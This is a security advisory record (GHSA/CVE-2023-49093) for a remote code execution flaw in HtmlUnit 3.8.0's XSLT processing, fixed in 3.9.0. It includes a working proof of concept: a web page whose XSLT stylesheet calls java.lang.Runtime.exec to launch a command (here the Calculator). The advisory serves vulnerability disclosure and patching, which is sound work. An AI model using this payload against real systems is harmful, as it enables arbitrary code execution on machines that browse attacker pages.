CVE-2023-49093: Htmlunit Remote Code Execution Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-37vq-hr2f-g7h7",
  "modified" : "2023-12-04T23:13:30Z",
  "published" : "2023-12-04T23:13:30Z",
  "aliases" : [ "CVE-2023-49093" ],
  "summary" : "HtmlUnit vulnerable to Remote Code Execution (RCE) via XSTL",
  "details" : "### Summary\nHtmlUnit 3.8.0 are vulnerable to Remote Code Execution (RCE) via XSTL, when browsing the attacker’s webpage\n\n### Details\nVulnerability code location:\norg.htmlunit.activex.javascript.msxml.XSLProcessor#transform(org.htmlunit.activex.javascript.msxml.XMLDOMNode)\n\nThe reason for the vulnerability is that it was not enabled FEATURE_SECURE_PROCESSING for the XSLT processor\n\n### PoC\npom.xml:\n```\n<dependency>\n  <groupId>org.htmlunit</groupId>\n  <artifactId>htmlunit</artifactId>\n  <version>3.8.0</version>\n</dependency>\n```\n\ncode:\n```\nWebClient webClient = new WebClient(BrowserVersion.INTERNET_EXPLORER);\nHtmlPage page = webClient.getPage(\"http://127.0.0.1:8080/test.html\");\nSystem.out.println(page.asNormalizedText());\n```\n\ntest.html:\n```\n<script>\n    var xslt = new ActiveXObject(\"Msxml2.XSLTemplate.6.0\");\n    var xslDoc = new ActiveXObject(\"Msxml2.FreeThreadedDOMDocument.6.0\");\n    var xslProc;\n    xslDoc.async = false;\n    xslDoc.loadXML(`<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" xmlns:rt=\"http://xml.apache.org/xalan/java/java.lang.Runtime\" xmlns:ob=\"http://xml.apache.org/xalan/java/java.lang.Object\">\n   <xsl:template match=\"/\">\n     <xsl:variable name=\"rtobject\" select=\"rt:getRuntime()\"/>\n     <xsl:variable name=\"process\" select=\"rt:exec($rtobject,'open -a Calculator')\"/>\n     <xsl:variable name=\"processString\" select=\"ob:toString($process)\"/>\n     <span><xsl:value-of select=\"$processString\"/></span>\n   </xsl:template>\n </xsl:stylesheet>`)\n\n    if (xslDoc.parseError.errorCode != 0) {\n        var myErr = xslDoc.parseError;\n        document.write(\"ParseError: \"+myErr.reason);\n    } else {\n        xslt.stylesheet = xslDoc;\n        var xmlDoc = new ActiveXObject(\"Msxml2.DOMDocument.6.0\");\n        xmlDoc.async = false;\n        xmlDoc.loadXML(\"<s></s>\");\n        if (xmlDoc.parseError.errorCode != 0) {\n            var myErr = xmlDoc.parseError;\n            document.write(\"Document error: \" + myErr.reason);\n        } else {\n            xslProc = xslt.createProcessor();\n            xslProc.input = xmlDoc;\n            xslProc.transform();\n            document.write(xslProc.output);\n        }\n    }\n</script>\n```\n\n\n### Impact\nRemote Code Execution",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "org.htmlunit:htmlunit"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.9.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/HtmlUnit/htmlunit/security/advisories/GHSA-37vq-hr2f-g7h7"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2023-49093"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/HtmlUnit/htmlunit"
  }, {
    "type" : "WEB",
    "url" : "https://www.htmlunit.org/changes-report.html#a3.9.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-94" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2023-12-04T23:13:30Z",
    "nvd_published_at" : "2023-12-04T05:15:07Z"
  }
}